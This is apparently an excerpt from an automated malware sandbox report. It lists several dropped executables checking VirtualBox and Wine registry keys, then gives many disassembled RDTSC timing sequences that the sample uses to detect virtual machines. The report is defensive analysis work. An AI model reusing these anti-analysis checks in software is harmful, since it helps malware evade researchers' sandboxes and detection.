Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E2072B second address: E2072F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E2072F second address: E20761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F17B0EA9AC3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37A2A second address: E37A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FD5730h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37A40 second address: E37A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37A45 second address: E37A67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F17B0FD5726h 0x00000013 jmp 00007F17B0FD572Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37A67 second address: E37A71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37A71 second address: E37A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F17B0FD5726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37BE4 second address: E37BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F17B0EA9ABFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37BFD second address: E37C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37C03 second address: E37C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37C07 second address: E37C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E37C0B second address: E37C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3ABC2 second address: E3ABC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3ABC6 second address: E3AC2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 call 00007F17B0EA9AB9h 0x0000000e push ebx 0x0000000f jbe 00007F17B0EA9ABCh 0x00000015 pop ebx 0x00000016 push eax 0x00000017 jmp 00007F17B0EA9AC7h 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007F17B0EA9AC8h 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 jnl 00007F17B0EA9ABCh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AC2A second address: E3ACB5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F17B0FD573Dh 0x00000008 jmp 00007F17B0FD5737h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F17B0FD572Eh 0x00000018 pop eax 0x00000019 or dword ptr [ebp+122D1DA7h], edi 0x0000001f push 00000003h 0x00000021 push eax 0x00000022 jmp 00007F17B0FD5737h 0x00000027 pop edi 0x00000028 push 00000000h 0x0000002a jnp 00007F17B0FD572Ch 0x00000030 mov dword ptr [ebp+122D1DA7h], ebx 0x00000036 push 00000003h 0x00000038 mov esi, dword ptr [ebp+122D2C57h] 0x0000003e push B6CFDD2Eh 0x00000043 push edi 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F17B0FD5738h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3ACB5 second address: E3ACB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3ACB9 second address: E3ACDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 093022D2h 0x0000000e mov edi, dword ptr [ebp+122D2CE3h] 0x00000014 lea ebx, dword ptr [ebp+1245FA66h] 0x0000001a push eax 0x0000001b pushad 0x0000001c push edi 0x0000001d pushad 0x0000001e popad 0x0000001f pop edi 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AD5B second address: E3AD61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AD61 second address: E3AD65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AE7D second address: E3AEBA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F17B0EA9AB6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2A88h], esi 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D2AB6h], eax 0x0000001b mov ecx, dword ptr [ebp+122D2E7Bh] 0x00000021 push B40C15AEh 0x00000026 pushad 0x00000027 jng 00007F17B0EA9AC2h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AEBA second address: E3AF21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 4BF3EAD2h 0x0000000e mov cl, 0Eh 0x00000010 push 00000003h 0x00000012 mov ecx, esi 0x00000014 push 00000000h 0x00000016 mov ecx, dword ptr [ebp+122D2CD3h] 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F17B0FD5728h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 je 00007F17B0FD5728h 0x0000003e mov cl, dh 0x00000040 call 00007F17B0FD5729h 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F17B0FD5737h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AF21 second address: E3AF2B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F17B0EA9AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AF2B second address: E3AF9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jns 00007F17B0FD5726h 0x00000011 pop eax 0x00000012 jl 00007F17B0FD5728h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f pushad 0x00000020 push esi 0x00000021 jno 00007F17B0FD5726h 0x00000027 pop esi 0x00000028 push edx 0x00000029 push edx 0x0000002a pop edx 0x0000002b pop edx 0x0000002c popad 0x0000002d mov eax, dword ptr [eax] 0x0000002f pushad 0x00000030 pushad 0x00000031 js 00007F17B0FD5726h 0x00000037 jmp 00007F17B0FD5730h 0x0000003c popad 0x0000003d jmp 00007F17B0FD572Ah 0x00000042 popad 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 pushad 0x00000048 pushad 0x00000049 jmp 00007F17B0FD5731h 0x0000004e push edi 0x0000004f pop edi 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E3AF9C second address: E3B012 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F17B0EA9AB8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 lea ebx, dword ptr [ebp+1245FA7Ah] 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F17B0EA9AB8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 xor dword ptr [ebp+122D1D9Ah], ecx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push edx 0x0000004c jmp 00007F17B0EA9AC5h 0x00000051 pop edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4C60F second address: E4C615 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4C615 second address: E4C634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F17B0EA9AB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F17B0EA9ABCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4C634 second address: E4C638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4C638 second address: E4C63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AA07 second address: E5AA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AA12 second address: E5AA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AD1C second address: E5AD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 js 00007F17B0FD5726h 0x0000000c jne 00007F17B0FD5726h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AD31 second address: E5AD38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AFB6 second address: E5AFC0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F17B0FD5726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5AFC0 second address: E5AFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5B155 second address: E5B159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C07D second address: E5C0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0EA9AC3h 0x00000009 push eax 0x0000000a jmp 00007F17B0EA9ABEh 0x0000000f pop eax 0x00000010 pop esi 0x00000011 jng 00007F17B0EA9AD4h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F17B0EA9AB6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C0B3 second address: E5C0C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C1F7 second address: E5C1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C1FB second address: E5C1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C1FF second address: E5C20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F17B0EA9AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C20B second address: E5C212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C3F0 second address: E5C3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5C7A8 second address: E5C7AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5F445 second address: E5F449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5FABD second address: E5FAE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5734h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F17B0FD572Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E5FAE6 second address: E5FB3E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F17B0EA9AC8h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push ecx 0x00000011 push edx 0x00000012 jmp 00007F17B0EA9AC4h 0x00000017 pop edx 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e js 00007F17B0EA9AB8h 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F17B0EA9ABEh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E684EE second address: E684F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E684F2 second address: E684F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E684F6 second address: E684FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E2222D second address: E22233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E22233 second address: E22237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E22237 second address: E22266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F17B0EA9AC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6798D second address: E67991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E67C42 second address: E67C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E67C48 second address: E67C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FD572Fh 0x00000009 pop esi 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F17B0FD572Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F17B0FD5726h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E67C79 second address: E67C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E68073 second address: E680AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F17B0FD5726h 0x0000000a jmp 00007F17B0FD5735h 0x0000000f popad 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007F17B0FD5736h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E680AE second address: E680B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E681E8 second address: E681F8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F17B0FD5732h 0x00000008 jg 00007F17B0FD5726h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6832F second address: E68348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F17B0EA9ABFh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E68CCD second address: E68CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E690B2 second address: E690C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E69383 second address: E69387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E69387 second address: E6938D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E699E1 second address: E699E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E699E5 second address: E69A0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F17B0EA9AC6h 0x00000008 jmp 00007F17B0EA9AC0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jbe 00007F17B0EA9AB6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E69A0C second address: E69A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F17B0FD5726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E69C3A second address: E69C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E69D1B second address: E69D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD572Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6A222 second address: E6A227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6A227 second address: E6A22C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6A22C second address: E6A239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
